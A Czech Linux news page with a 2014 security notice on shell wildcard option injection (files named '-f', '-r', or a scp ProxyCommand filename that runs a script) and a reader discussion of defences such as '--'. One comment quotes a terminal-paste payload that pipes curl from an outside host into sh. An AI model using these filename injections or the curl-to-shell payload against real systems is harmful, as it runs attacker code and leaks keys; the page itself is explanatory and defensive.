abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
    dnes 11:44 | Nová verze

    Byla vydána nová verze 25.05.11 svobodného multiplatformního video editoru Shotcut (Wikipedie) postaveného nad multimediálním frameworkem MLT. Nejnovější Shotcut je již vedle zdrojových kódů k dispozici také ve formátech AppImage, Flatpak a Snap.

    Ladislav Hagara | Komentářů: 0
    dnes 11:11 | Nová verze

    Svobodný elektronický platební systém GNU Taler (Wikipedie, cgit) byl vydán ve verzi 1.0. GNU Taler chrání soukromí plátců a zároveň zajišťuje, aby byl příjem viditelný pro úřady. S vydáním verze 1.0 byl systém spuštěn ve Švýcarsku.

    Ladislav Hagara | Komentářů: 5
    dnes 00:55 | Pozvánky

    Spolek OpenAlt zve příznivce otevřených řešení a přístupu na 209. brněnský sraz, který proběhne tento pátek 16. května od 18:00 ve studentském klubu U Kachničky na Fakultě informačních technologií Vysokého učení technického na adrese Božetěchova 2/1. Jelikož se Brno stalo jedním z hlavních míst, kde se vyvíjí open source knihovna OpenSSL, tentokrát se OpenAlt komunita potká s komunitou OpenSSL. V rámci srazu Anton Arapov z OpenSSL

    … více »
    Ladislav Hagara | Komentářů: 0
    dnes 00:22 | Komunita

    GNOME Foundation má nového výkonného ředitele. Po deseti měsících skončil dočasný výkonný ředitel Richard Littauer. Vedení nadace převzal Steven Deobald.

    Ladislav Hagara | Komentářů: 4
    10.5. 15:00 | Zajímavý článek

    Byl publikován přehled vývoje renderovacího jádra webového prohlížeče Servo (Wikipedie) za uplynulé dva měsíce. Servo zvládne už i Gmail. Zakázány jsou příspěvky generované pomocí AI.

    Ladislav Hagara | Komentářů: 19
    9.5. 17:22 | Nová verze

    Raspberry Pi Connect, tj. oficiální služba Raspberry Pi pro vzdálený přístup k jednodeskovým počítačům Raspberry Pi z webového prohlížeče, byla vydána v nové verzi 2.5. Nejedná se už o beta verzi.

    Ladislav Hagara | Komentářů: 6
    9.5. 15:22 | Komunita

    Google zveřejnil seznam 1272 projektů (vývojářů) od 185 organizací přijatých do letošního, již jednadvacátého, Google Summer of Code. Plánovaným vylepšením v grafických a multimediálních aplikacích se věnuje článek na Libre Arts.

    Ladislav Hagara | Komentářů: 0
    8.5. 19:22 | Nová verze

    Byla vydána (𝕏) dubnová aktualizace aneb nová verze 1.100 editoru zdrojových kódů Visual Studio Code (Wikipedie). Přehled novinek i s náhledy a videi v poznámkách k vydání. Ve verzi 1.100 vyjde také VSCodium, tj. komunitní sestavení Visual Studia Code bez telemetrie a licenčních podmínek Microsoftu.

    Ladislav Hagara | Komentářů: 0
    8.5. 18:00 | Nová verze

    Open source platforma Home Assistant (Demo, GitHub, Wikipedie) pro monitorování a řízení inteligentní domácnosti byla vydána v nové verzi 2025.5.

    Ladislav Hagara | Komentářů: 0
    8.5. 01:22 | Nová verze Ladislav Hagara | Komentářů: 0
    Jaký filesystém primárně používáte?
     (57%)
     (1%)
     (8%)
     (22%)
     (4%)
     (2%)
     (3%)
     (1%)
     (1%)
     (3%)
    Celkem 593 hlasů
     Komentářů: 26, poslední 8.5. 09:58
    Rozcestník

    Pozor na používání * v Bashi

    Používání * v Bashi může být hodně nebezpečné. Například použití příkazu rm -i *. Nepředpokládá se, že by příkaz mazal také adresáře. Pokud se ale v aktuálním adresáři nacházejí soubory -f a -r, adresáře jsou bez potvrzení smazány. Použití * může vést také k nechtěnému spuštění příkazů. Stačí si například stáhnout archiv s webovou aplikací, archiv rozbalit a pomocí příkazu scp * soubory zkopírovat na webový server. Pokud byly v archivu soubory se jmény "-o", "ProxyCommand sh supercool.sh %h %p" a "supercool.sh", tak spuštěním příkazu scp * byl spuštěn také skript supercool.sh, který mohl odeslat soukromé klíče, hesla a další citlivé informace útočníkovi. Více na Dicesoft.net.

    24.6.2014 06:55 | Ladislav Hagara | Bezpečnostní upozornění


    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    Komentáře

    Vložit další komentář

    Karry avatar 24.6.2014 07:56 Karry | skóre: 10
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Pekny vektor utoku :-) Primo do Bashe by bylo mozne implementovat dotaz, jestli opravdu chci prikaz provest,pokud "rozbaleni" hvezdicky obsahuje soubory zacinajici pomlckou...
    unzip; strip; touch; grep; finger; mount; fsck; more; yes; umount; sleep
    24.6.2014 08:06 Zopper | skóre: 15
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Nejen do Bashe. Tohle je problém všech expanzí, ať už Bash, ZSH, nebo něco jiného... Hvězdička to expanduje na parametry a program už nemá jak rozlišit, jestli tam to "-rf" zadal uživatel ručně, nebo se tam doplnilo expanzí. Všechno je to v jednom char** argv.

    Ale ta kontrola by mohla fungovat.
    "Dlouho ještě chcete soudit proti právu, stranit svévolníkům?" Ž 82,2
    24.6.2014 08:09 smazáno | skóre: 18 | blog: smazáno
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    rm -f -- *
    24.6.2014 09:10 Zopper | skóre: 15
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    No, ale tohle vyžaduje, aby to ten program znal, není to věc shellu, že? A zvládají to ošetřit běžně používané knihovny na parsování argumentů? A i pokud zvládají, tak nikdy nevím, jestli nějaký programátor nepoužil vlastní výtvor na parsování argumentů a tohle neřeší.

    Takže to můžu použít pro programy, kde vím, že to funguje (hlavně rm), ale nedá se na to spoléhat.
    "Dlouho ještě chcete soudit proti právu, stranit svévolníkům?" Ž 82,2
    Josef Kufner avatar 24.6.2014 11:43 Josef Kufner | skóre: 70
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Knihovny na parsování argumentů to podporují snad všechny, neboť ti co je tvoří si tohoto problému jsou vědomi.
    Hello world ! Segmentation fault (core dumped)
    24.6.2014 18:48 Jardík
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Např "echo" to nebere. V bashi echo žere -e a -n a je tak nemožné napsat to "-n" a "-e" pomocí echo. -- to nežere a klidně vypíše. V busyboxím ashi echo "-e" nežere, pouze "-n". Naštěstí tu máme printf, které funguje u obou. Taky bacha na žraní nových řádků, když dáváte výstup programu do proměnné, někdy to může mít nežádoucí účinky, třeba když v názvu souboru je znak nového řádku. Pomůže třeba zase printf s přidáním třeba znaku 'x' na konec a následným odstraněním:
    MEOW=$(printf 'meow \n'; printf 'x')
    MEOW="${MEOW%x}"
    
    Fuky avatar 24.6.2014 21:41 Fuky | skóre: 52 | blog: 4u
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    V bashi echo žere -e a -n a je tak nemožné napsat to "-n" a "-e" pomocí echo.
    $ echo -e '\x2dn'
    -n
    $ echo -e '\x2de'
    -e
    
    25.6.2014 01:10 Mti. | skóre: 31 | blog: Mti
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    kdyby nevadila mezera navic...
    echo -e \ -e
    Vidim harddisk mrzuty, jehoz hlava plotny se dotyka...
    Jardík avatar 25.6.2014 11:34 Jardík | skóre: 40 | blog: jarda_bloguje
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Jenže problém je pak, že to zase nefunguje v busyboxu (ash), protože -e prostě "neumí". Je to teda z bláta do louže a pomůže tak akorát nezkriplený printf.
    Věřím v jednoho Boha.
    Fuky avatar 25.6.2014 12:54 Fuky | skóre: 52 | blog: 4u
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    $ busybox echo --help
    BusyBox v1.20.2 (Debian 1:1.20.0-7) multi-call binary.
    
    Usage: echo [-neE] [ARG]...
    
    Print the specified ARGs to stdout
    
    	-n	Suppress trailing newline
    	-e	Interpret backslash escapes (i.e., \t=tab)
    	-E	Don't interpret backslash escapes (default)
    
    $ busybox echo -e '\x2de'
    -e
    
    Jardík avatar 25.6.2014 14:18 Jardík | skóre: 40 | blog: jarda_bloguje
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    To mě po*er. V čem mi to teda nefungovalo? Ještě jsem vlastně nedávno dělal něco ve FreeBSD, vyzkouším tam.
    Věřím v jednoho Boha.
    Jardík avatar 25.6.2014 14:19 Jardík | skóre: 40 | blog: jarda_bloguje
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Aha, nevyzkouším. Už jsem tu virtuální mašinku smazal :/
    Věřím v jednoho Boha.
    Jardík avatar 25.6.2014 14:59 Jardík | skóre: 40 | blog: jarda_bloguje
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Takže podpora -e je v busyboxu volitelná, jde vypnout. Proto to v mým ashi na druhé mašině nefungovalo.
    Věřím v jednoho Boha.
    24.6.2014 18:38 Stevko | skóre: 3 | Praha
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    To musí podporovať príkaz samozrejme. Lepšejšie je rm ./*
    Príspevok nemá byť ukončený spojením „môj názor“.
    24.6.2014 08:09 geri
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Pokial si dobre pamatam tak argument -- ukonci blok argumentov a tym by injekcia dalsich argumentov z nazvou suborou mala byt blokovana. Ale momentalne to nemam ako vyskusat.
    24.6.2014 08:10 geri
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Tak Luv to dal predomnou :)
    David Heidelberg avatar 24.6.2014 10:42 David Heidelberg | skóre: 46 | blog: blog_
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    uzasny, to se hodi. Nedavno jsem nekde v nejakem HOWTO zahledl dve pomlcky a rikal si k cemu to je :) Diky za info!
    24.6.2014 08:17 Loki
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Stary, ale stale dobry :-)
    xvasek avatar 24.6.2014 08:51 xvasek | skóre: 21 | blog: | Zlín
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    To je jedna z těch věcí, která je sice všem v podstatě jasná a že to tak funguje by nejden i předpokládal, na druhou stranu ale málokdo bude zkoumat, jestli v daném případě hvězdička něco nerozbije.
    24.6.2014 09:35 Wow
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    To jako že názvy souborů intepretuje jako parametry sama sebe? Skvělá vychytávka, jen co je pravda. Pak že programátoři neberou drogy :)
    24.6.2014 10:14 R
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Ked sa ti to nepaci, tak pouzivaj Windows. Tam program dostane "*" a bud implementuje nieco sam (kazdy inak zle) alebo skonci s chybou...
    xkucf03 avatar 24.6.2014 13:55 xkucf03 | skóre: 49 | blog: xkucf03
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Totéž můžeš mít v GNU/Linuxu nebo jiném systému -- stačí psát '*' a nechat to expandovat až v programu (ten to samozřejmě musí podporovat) a ne v shellu -- navíc můžeš použít třeba regulární výrazy nebo jiné vzory.
    Mám rád, když se lidé přou, znamená to, že vědí, co dělají, a že mají směr. Frantovo.cz, SQL-DK, Relational pipes
    xkucf03 avatar 24.6.2014 13:51 xkucf03 | skóre: 49 | blog: xkucf03
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Argumenty příkazu jsou jen pole textových řetězců -- může v nich být cokoli a jak se to bude interpretovat je věc toho programu, ne shellu. A program už dostává expandované hodnoty (např. ty názvy souborů), ne žádnou hvězdičku nebo $promenné.

    Tohle si musí ošetřit uživatel -- např. si nejdřív vypsat hodnoty, zkontrolovat a až pak pouštět nějaký potenciálně nebezpečný příkaz.

    Autor programu mu tam maximálně může přidat volbu typu "--", za kterou se už další volby neinterpretují a zbytek pole se bere třeba jako seznam souborů. A autor shellu s tím nemůže dělat vůbec nic, protože nemůže rozumět všem parametrům všech příkazů.
    Mám rád, když se lidé přou, znamená to, že vědí, co dělají, a že mají směr. Frantovo.cz, SQL-DK, Relational pipes
    24.6.2014 10:11 ced
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    To nedělá program, ale ta * v interpretu. Interpret ji interpretuje například na jména souborů, který když začíná znakem pro parametr (-), tak program nemá šanci zjistit že je není parametr. Dostává to již zpracované (tedy ne *).

    Je to bohužel vlastnost. Nevím, jestli v době, kdy ta myšlenka (vlastnost) vznikla mohl soubor začínat znakem '-'. S těmi drogami bych byl proto opatrný :-)

    24.6.2014 11:27 Wow
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Tak jich moc neber :) No já chápu jak to vzniklo, to mi bylo jasné hned, nicméně bych to udělal jinak. Ono někdy některé omezení nejsou na škodu. Např. je fajn, že můžu mít v názvu souborů znaky které ve Windows nemohu. Ovšem napsat potom blbuvzdorný skript je prakticky nemožné, vždycky bude někdo, kdo vymyslí lepší fintu než se kterou jsi počítal.
    Conscript89 avatar 24.6.2014 16:20 Conscript89 | Brno
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    treba program, u ktereho prepinace nezacinaji minuskem, viz BSD styl. Co zakazeme potom?
    I can only show you the door. You're the one that has to walk through it.
    24.6.2014 11:44 ewew | skóre: 40 | blog: ewewov_blog
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi

    Toto sa mi už raz stalo.

    Root v linuxe : "Root povedal, linux vykona."
    Jendа avatar 24.6.2014 18:18 Jendа | skóre: 78 | blog: Jenda | JO70FB
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Inspirace. Taky je dobrý jen tak bez rozmyšlení zkopírovat odkaz, napsat do terminálu "wget" a pastnout to.
    AsciiWolf avatar 24.6.2014 23:32 AsciiWolf | skóre: 41 | blog: Blog
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Proto link, který do terminálu pastuji, dávám vždy do uvozovek...
    pavlix avatar 25.6.2014 09:06 pavlix | skóre: 54 | blog: pavlix
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Dobré vědět. Kdybych na tebe útočil, vím, že musím přidat uvozovky.
    Já už tu vlastně ani nejsem. Abclinuxu umřelo.
    Bystroushaak avatar 25.6.2014 13:54 Bystroushaak | skóre: 36 | blog: Bystroushaakův blog | Praha
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    +1 :D
    Jendа avatar 25.6.2014 13:55 Jendа | skóre: 78 | blog: Jenda | JO70FB
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    To už v URL asi nepůjde, minimálně Firefox je zakóduje do %22.
    25.6.2014 15:18 mkmm
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Ke vkladani do bashe se hodi C-x C-e, tim se otevre editor z promenne $EDITOR, do nehoz lze vlozit text, prohlednout, pripane upravit a po ulozeni se zavrenim se prikaz provede. Takze treba pro vim staci C-x C-e, vlozit, ZZ (nebo ZQ) a hotovo.
    pavlix avatar 25.6.2014 15:29 pavlix | skóre: 54 | blog: pavlix
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Hezké...
    Já už tu vlastně ani nejsem. Abclinuxu umřelo.
    Jendа avatar 25.6.2014 17:13 Jendа | skóre: 78 | blog: Jenda | JO70FB
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Až na to, že když se otevře vim a ve vkládané sekvenci je esc:!curl b.nsalitomerice.cz|sh, tak jsme přesně tam, kde jsme byli.
    25.6.2014 19:56 mkmm
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    A hrome, budu si muset napsat sanitizer na vkladlani.
    xkucf03 avatar 26.6.2014 14:02 xkucf03 | skóre: 49 | blog: xkucf03
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    jj, tohle by chtělo spíš podporu v Konsoli (a jiných emulátorech terminálu) -- klávesovou zkratku, která vloží obsah schránky do nového okna, kde budeš moci příkaz zkontrolovat a doupravit a pak teprve vložit do terminálu.
    Mám rád, když se lidé přou, znamená to, že vědí, co dělají, a že mají směr. Frantovo.cz, SQL-DK, Relational pipes
    25.6.2014 20:20 Marble | skóre: 27 | blog: marble
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Záleží ... to funguje jen při vložení myšítkem do terminálového vimka. V případě gvim nebo vložení přes "*p (příp. "+p) se prostě escape objeví v obsahu souboru.
    25.6.2014 22:58 mkmm
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Tohle ve .vimrc pri vkladani z bashe odstrani ze schranky vsechno krome ascii 32-126:
    au BufRead /tmp/bash-fc-* | silent execute '!test "$DISPLAY" && xsel | tr -dc "\040-\176" | xsel' | redraw!
    Jendа avatar 24.6.2014 18:40 Jendа | skóre: 78 | blog: Jenda | JO70FB
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Jinak moc by se mi líbilo, kdyby se rozšířil nějaký použitelný objektový shell. PowerShell je objektový, ale přišlo mi to trochu psychedelické. Představoval bych si něco jako současný bash, ale jenom „lepší“.
    pavlix avatar 24.6.2014 22:03 pavlix | skóre: 54 | blog: pavlix
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Uvažoval jsem nad tím hodněkrát, a smysluplný objektový shell vyžaduje unifikaci. Pokud by všechny používané programy vracely nějaké serializované objekty, pořád máš problém s tím, že jsou ty objekty neaktivní. Osobně bych tak předpokládal, že objektový shell musí být řízený nějakými běžícími službami.

    Objektový shell je podle mě jen jiný název pro interaktivního IPC klienta nad nějakým objektovým IPC modelem. Pokud by dbus nebyl tak debilně navržený jak je (každý objekt má hromadu namespaces, často se stejnojmennými metodami/atributy), mohl bys při troše snahy postavit interaktivního dbus klienta a považovat za takový linuxový PowerShell.
    Já už tu vlastně ani nejsem. Abclinuxu umřelo.
    25.6.2014 13:32 Tom.š Ze.le.in | skóre: 21 | blog: tz
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Třeba eshell lze skoro přímo použít jako replacement shellu, a z určitého úhlu pohledu objekty zvládá. (relevantní xkcd)

    Jinak jsou (byli?) i lidi co zkouší jako shell používat Common Lisp - http://www.clisp.org/clash.html.

    25.6.2014 15:03 JS1 | skóre: 2 | blog: intuition_pump
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Nechces o tom napsat nejaky blogpost? Taky me to zajima. I kdyz mne by se libilo neco priblizujiciho se Haskellu..

    Ale myslim, ze to co by bylo potreba spis udelat je promyslet standardni GNU/Linux utility, aby vracely objekty (nebo alespon strukturovana data) a ne text. To je slozitejsi zalezitost nez jen shell.
    Lidstvo čelí v tomto století hrozbě civilizačního kolapsu. Podpořte hnutí klimatickakoalice.cz!
    25.6.2014 16:57 deda.jabko | skóre: 23 | blog: blog co se jmenuje "každý den jinak" | za new york city dvakrát doleva a pak už se doptáte
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Ale myslim, ze to co by bylo potreba spis udelat je promyslet standardni GNU/Linux utility, aby vracely objekty (nebo alespon strukturovana data) a ne text
    Ja mam radu utilit namapovanych jako funkce ve Schemu. Co radek textu, to jedna polozka seznamu, ta struktura uz z toho obvykle vyplyne. Neni to uplne nejrychlejsi, ale da se s tim pracovat vyraznej pohodlneji nez v bashi.
    Asi před rokem se dostali hackeři na servry Debianu a ukradli jim zdrojové kódy.
    Jendа avatar 25.6.2014 17:15 Jendа | skóre: 78 | blog: Jenda | JO70FB
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Nechces o tom napsat nejaky blogpost?
    Já o tom vůbec nic nevím. Říkej to panu Zeleninovi :-) (sorry, ale ty tečky k tomu tak svádí) výše.
    To je slozitejsi zalezitost nez jen shell.
    Jo jo… ten ekosystém okolo…
    Hans1024 avatar 25.6.2014 19:23 Hans1024 | skóre: 5 | blog: hansovo
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Napiste Lennartovi, ten to prida do systemd a ekosystem se bude muset prizpusobit :-D
    Veni, vidi, copi
    xkucf03 avatar 26.6.2014 14:13 xkucf03 | skóre: 49 | blog: xkucf03
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Já bych uvítal SQL rozhraní k operačnímu systému (a některým aplikacím). Spousta těch dat má totiž tabulkovou strukturu resp. jsou to různě propojené relace (procesy, síťová spojení, uživatelé, skupiny, připojené souborové systémy, různé konfigurace atd.). Pak bys nemusel dělat restrikci a projekci pomocí grepu a cutu a nemusel bys neustále parsovat a serializovat textová data -- byly by jasně dané hranice mezi sloupci, mezi řádky. Kromě tabulek by tam byly i SQL funkce/procedury pro zjišťování různých informací, výpočty, nebo i provádění aktivních operací (např. vytvoření souboru, uživatele, ping).

    Trochu už jsem to promýšlel, ale k implementaci jsem se zatím nedostal...
    Mám rád, když se lidé přou, znamená to, že vědí, co dělají, a že mají směr. Frantovo.cz, SQL-DK, Relational pipes
    Bystroushaak avatar 26.6.2014 16:01 Bystroushaak | skóre: 36 | blog: Bystroushaakův blog | Praha
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    No, ono se dá jít i dál. Nejenom informace o systému, ale všechno. Unixová filosofie /sys a /proc je sice fajn, ale stále pěkně debilní právě z důvodů které jsi popsal + taky k tomu, že tam silně chybí sémantika a builtin help, který je s trochou štěstí někde vedle v manu.

    Osobně jsem často přemýšlel nad systémem, kde je všechno objekt a všechny informace jsou strukturované, s dokumentací a jasně danými parametry. Pak mi došlo, že to už existuje a tak jsem se nedávno začal učit smalltalk/pharo.
    xkucf03 avatar 26.6.2014 17:33 xkucf03 | skóre: 49 | blog: xkucf03
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    Chce to najít nějakou rozumnou míru mezi programováním a používáním -- ono by jinak stačilo vzít skoro libovolný (objektový) programovací jazyk a k němu dopsat pár knihoven a máš to. Ale to by se z uživatele musel stát programátor. To SQL mi přijde celkem stravitelné i pro běžné uživatele -- tabulky si dokáže představit, začne jednoduchými SELECTy, a pak se snadno naučí vybírat konkrétní sloupce (projekce), psát jednoduché filtry ve WHERE (restrikce), případně i nějaký ten JOIN. Dá se to učit za chodu a není to o nic těžší než napsat unixovou rouru, ve které je grep a cut.
    Mám rád, když se lidé přou, znamená to, že vědí, co dělají, a že mají směr. Frantovo.cz, SQL-DK, Relational pipes
    Bystroushaak avatar 26.6.2014 18:12 Bystroushaak | skóre: 36 | blog: Bystroushaakův blog | Praha
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    No, já třeba SQL nemusím vidět do konce života a vůbec mi chybět nebude (ne že bych ho nesnášel, jen je mi prostě lhostejné). To co jsi popsal je taky programování, jen silně omezený subset. Další věc je, že SQL je na tohle zbytečně složité, neboť nepotřebuješ dělat velmi komplikované dotazy a navíc je celé tak nějak tabulkově orientované. Což by teda tyhle data byly taky, jen bys měl ve většině tabulek jeden řádek.

    Imho by se pro tyhle data podstatně víc hodilo asociativní pole, nebo jeden objekt, kde je všechno možné systémové info. Některé jazyky to tak skutečně mají (třeba REBOL a nebo ten smalltalk).

    xkucf03 avatar 26.6.2014 20:01 xkucf03 | skóre: 49 | blog: xkucf03
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi
    To co jsi popsal je taky programování, jen silně omezený subset.
    Je to hlavně deklarativní, což je pro výběr dat IMHO ideální -- schválně si porovnej nějaký SQL dotaz s ekvivalentním dotazem nad NoSQL databází (napsaný třeba v procedurálním/funkcionálním JavaScriptu).
    Další věc je, že SQL je na tohle zbytečně složité, neboť nepotřebuješ dělat velmi komplikované dotazy
    U takového nástroje bych nečekal plnou podporu nejnovějšího SQL standardu. Stačila by omezená podmnožina tohoto jazyka.
    navíc je celé tak nějak tabulkově orientované. Což by teda tyhle data byly taky...
    Právě že tabulkově orientovaných je většina dat -- velice často se používají různé textové výpisy, co řádek, to záznam a uvnitř řádků je nějaká další struktura -- oddělená mezerami, tabulátory, |, čárkami atd. a dneska se to musí parsovat na úrovni textu.

    Totéž platí pro logy -- ty textové jsou často implementované blbě, takže se dají použít leda jako protokol pro zpětné dohledávání věcí a čtení člověkem, ale ne pro strojové zpracování, protože hodnoty mohou přetékat, jak buňky, tak řádky -- buď se to rozbije neúmyslně nebo dokonce někdo může injektovat hodnoty do logu tak, aby to vypadalo, že se stalo něco jiného, než co se ve skutečnosti stalo.
    ...jen bys měl ve většině tabulek jeden řádek
    Záleží, co je to za data, s tím by si šlo vyhrát, šlo by sloučit víc věcí do jedné tabulky a filtrovat podle klíče. Některé věci taky vůbec jako tabulka být nemusí -- může to být funkce, kterou si zavoláš pro řádky jiné tabulky nebo samostatně.
    Imho by se pro tyhle data podstatně víc hodilo asociativní pole, nebo jeden objekt, kde je všechno možné systémové info.
    Obecně to jeden objekt být nemusí, ale občas bude problém s tím, že data budou spíš stromová než tabulková (soubory, procesy), resp. hůř se s tím pracuje jako s tabulkou, protože klasické SQL na to moc vhodné není -- chce to SQL funkce pro práci se stromy (CTE) a ani tak to není úplně dokonalý nástroj.

    Ale je otázka, co převažuje, IMHO spíš ty tabulky než stromy, takže by se SQL vyplatilo.

    U hodně stromů taky zjistíš, že to nejsou obecné stromy s nekonečnou rekurzí a amorfní strukturou, ale že je to prostě několik relací s dobře definovanou strukturou a propojených přes cizí klíče -- např. síťová rozhraní a IP adresy a jejich atributy.

    Pro stromová data by šlo dobře použít XML a pak nad tím volat XPath dotazy (dotazování jako SQL) nebo pouštět XQuery (to už je víc programování). Zrovna teď si píšu takový nástroj na načítání různých dat jako XML -- v podstatě to jsou SAX parsery pro různé formáty a jeden z nich bude souborový systém (místo jednoho souboru to čte adresář a jeho obsah), takže na výstupu dostaneš XML (resp. proud SAX událostí, ani to není potřeba serializovat na text s nějakými ostrými závorkami, dá se to zpracovat ještě jako objekty resp. volání metod/události) obsahující informace o souborech včetně rozšířených atributů případně i s obsahem těch souborů a budeš to moci filtrovat pomocí XPath dotazů nebo transformovat v XSLT, případně i validovat v XSD/RelaxNG/... (to by občas taky dávalo smysl -- zvalidovat si adresář, jestli obsahuje přesně to, co má) a další věci. Tohle by se v SQL dělalo dost těžko.
    Mám rád, když se lidé přou, znamená to, že vědí, co dělají, a že mají směr. Frantovo.cz, SQL-DK, Relational pipes
    24.6.2014 22:03 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Pozor na používání * v Bashi

    Založit nové vláknoNahoru


    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.